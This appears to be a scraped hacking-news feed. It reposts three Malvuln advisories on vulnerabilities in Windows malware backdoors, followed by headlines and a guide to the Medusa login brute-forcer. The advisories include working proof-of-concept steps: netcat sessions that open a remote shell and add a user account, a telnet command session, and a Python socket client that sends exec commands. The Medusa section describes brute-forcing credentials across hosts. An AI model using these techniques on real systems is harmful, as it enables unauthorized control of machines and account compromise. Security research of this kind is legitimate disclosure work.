Exploit Collector
HackTool.Win32.IpcScan.c Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.NinjaSpy.c Authentication Bypass

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Backdoor.Win32.NinjaSpy.c malware suffers from an authentication bypass vulnerability.

MD5 | 8aa0cadbd181fb8ff7496c48c2cdbef2

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/9f39606d9e19771af5acc6811ccf557f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NinjaSpy.c
Vulnerability: Authentication Bypass
Description: The malware listens on TCP ports 2003, 2004 and drops a PE file named "cmd.dll" under Windows dir. Connecting to port 2003, you will get back a number "9951" from the infected host. If we send the value 1000 we get a message in Portugese "Pisca Pisca Ativado" translates to "Blink Blink Activated". If we connect to port 2004 and send "abc123" we get message "Acesso negado..." translates to "Access denied". However, if you take the initial number we received earlier (9951) when connecting to port 2003 and apply some calculation we expose hidden functionality. Take the 9951 value and invert the first two digits to 66 and then add together the last two 5 + 1 to equal 6 for a final value of "666". Example, initial number (9951) 99 inverted equals 66 and 5 + 1 = 6. Enter and send the constructed value of "666" to port 2003 and TCP port 999 is opened. Connect to port 999 and you get back a remote shell.
Family: NinjaSpy
Type: PE32
MD5: 9f39606d9e19771af5acc6811ccf557f
Vuln ID: MVID-2022-0552
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 2004
test
Acesso negado...pwd

C:\>nc64.exe x.x.x.x 2003
9952666

C:\>nc64.exe x.x.x.x 999
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user hyp3rlinx abc123 /add
net user hyp3rlinx abc123 /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.NetCat32.10 Remote Command Execution

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Backdoor.Win32.NetCat32.10 malware suffers from a remote command execution vulnerability.

MD5 | 7753ae2ba9f27b98ad5f05816bf5003f

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/dcf16aed5ad4e0058a6cfcc7593dd9e3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetCat32.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6666. Attackers who can reach infected systems can run commands made available by the backdoor using TELNET.
Family: NetCat32
Type: PE32
MD5: dcf16aed5ad4e0058a6cfcc7593dd9e3
Vuln ID: MVID-2022-0550
Disclosure: 04/14/2022

Exploit/PoC:
telnet.exe x.x.x.x 6666
HELO
HHEELLPP
========================================================
HELP This help EXIT Quit your session
VER Get Versions
ExitWin Shutdown Windows
CLIP View Clipboard PASS Display Cached Pass
DOWNLOAD Host download file GET Get file from host
EXEC ShellExecute EXECHIDE ShellExecute
SHOW Show Window HIDE Hide Window
MAXALL Max all Windows MINALL Min all Windows
RESTALL Restore Windows LISTWIN List Windows
DESK Set Desktop Color WALL Set Wallpaper
MKDIR Make Directory RMDIR Remove Directory
RM Delete File MOVE Move / Rename File
LS List Directory TELNET Connect another
FUNCAP Rock the CapLock CDROM Open/Close cdrom
========================================================
+OK
EEXXEECC ccaallcc
+OK

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.NetSpy.10 Remote Command Execution

https://3.bp.blogspot.com/-4JQvP0m8T2k/WWlu48OEwdI/AAAAAAAAII8/Zf-K1JUBYisUlMBEUhCPF3Gl3BdQ2zG_gCLcBGAs/s1600/h103.png
Backdoor.Win32.NetSpy.10 malware suffers from a remote command execution vulnerability.

MD5 | 4776d45b8232e4e619f61e67c7c4c3a7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/45d413b46f1d14a45e8fd36921813d62.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetSpy.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7306. Attackers who can reach infected hosts can run commands made available by the backdoor. Sending commands using Ncat and Telnet both fail with errors, probably don't like the linefeed chars, so need to write your own custom client. Example commands avail are put, mkd, exec and msg.
Family: NetSpy
Type: PE32
MD5: 45d413b46f1d14a45e8fd36921813d62
Vuln ID: MVID-2022-0551
Disclosure: 04/14/2022

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=7306
CMD="exec c:\\Windows\\system32\\calc.exe"

def chk_res(s):
res=""
while True:
res += s.recv(512)
break
if "\0" in res or "\n" in res or res == "":
break
return res

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(CMD)
time.sleep(1)
print(chk_res(s))
s.close()

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hiding yourself online

What would be the best ways to hide yourself online? Would it be using proxies, MAC address changer, vpns, etc…

submitted by /u/Crozebtw
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cybersecurity Act of 2022: A Step in the Right Direction With a Significant Loophole

The act contains a loophole added late in the process that will impede progress toward the goal of increasing US cybersecurity: a complete carve-out of DNS from the reporting requirements and other obligations outlined in the bill.

Dark Reading: Attacks/Breaches
CISA Alert on ICS, SCADA Devices Highlights Growing Enterprise IoT Security Risks

Omdia Senior Analyst Hollie Hennessy says the new threat to multiple ICS and SCADA devices underscores the importance of a rapid response to IoT and OT security risks.

Corrupting the Source Docker Image
https://www.reddit.com/r/redteamsec/comments/u4b0do/corrupting_the_source_docker_image/

submitted by /u/tbhaxor (https://www.reddit.com/user/tbhaxor)
[link] (https://tbhaxor.com/corrupting-source-docker-image/) [comments] (https://www.reddit.com/r/redteamsec/comments/u4b0do/corrupting_the_source_docker_image/)

___________________________
@hacking_Attack
@Hacking_Video

Mining Liquidity for Bug Bounty Contribution

Hats Finance is excited to introduce Protocol Protection Mining starting in Q2 2022, allowing anyone in the ecosystem to become a…Continue reading on Medium »
Read more...

Hacking on Medium
Cual es el mejor método para enviar e-mails anónimos? [2022] by: cryptoanoymous

El envío de correo electrónico privado implica utilizar un proveedor de servicios de correo electrónico seguro y ocultar su verdadera…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What Exactly Is a Rootkit, and How Can You Avoid It?

However, one other aspect of a rootkit, beyond maintaining root-level access, is that its presence should be undetectable.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
FBI blames North Korean hackers for the $620 million theft from Axie Infinity

https://cdn-images-1.medium.com/max/840/0*uI2B-pHCjzFcvclw.png
TGIF🤌

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Bypassing UAC Methods and tricks

https://cdn-images-1.medium.com/max/600/1*ysWaNaCDaCV0kKpO_GGtZw.png
Overview :

Continue reading on System Weakness »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
A Detailed Guide on Medusa

Hi Pen testers! Let’s learn about a different tool Medusa, which is intended to be speedy, parallel and modular, login brute forcer. The goal of tool is to support as many services which allow remote authentication as possible. We can consider following items to be some of the key features of the application. a. Thread-based parallel testing. Brute-force testing can be performed against multiple hosts, users or passwords concurrently.b. Flexible user input. Target information (host/user/password) can be specified in a variety of ways. For example, each item can be either a single entry or a file containing multiple entries.  Additionally, a combination file format allows the user to refine their target listing.c. Modular design. Each service module exists as an independent .mod file. This means that no modifications are necessary to the core application in order to extend the supported list of services for brute-forcing.Features of Medusa: To get to know detailed description about the options available in Medusa tool just type in “medusa” in kali terminal without any options, it will respectively dump all the available options with their description.Password Cracking for Specific Username:Being a brute forcer, we can use medusa to crack password if username is known on any protocol. For this to work you should have valid username and a file containing passwords to test.Username Cracking for Specific Password:Again, for this you should have a correct password so that you can use brute force to crack the username for ftp by using a file containing list of usernames.___________________________
@hacking_Attack
@Hacking_Video

h option is used for host, -U option for username file and -p is the password. So basically, you can perform brute force on the username field and can crack the correct username for the password.To crack Login credentials:Now let’s consider a situation where we want to target our host whose username and password both are not known. For this we will brute force both the fields username as well as password by using appropriate options present in medusa.Brute Force on Multiple HostNow let’s consider a different situation, where we have multiple hosts, and we need to crack login credentials for the respective hosts. So, we have created three text files for host, username and password.To attack on specific port than default:Sometimes, network admin may change the port number of a service to another port due to security reasons. So, when performing brute force attack using normal command so it will attack on default port. But we can use -n option so that attack will start on mentioned port rather than default port.Additional password checks (Null/Same)Medusa has a great option -e along with ns which will check [n] null password, [s] same password as username while brute forcing on password field. ___________________________
@hacking_Attack
@Hacking_Video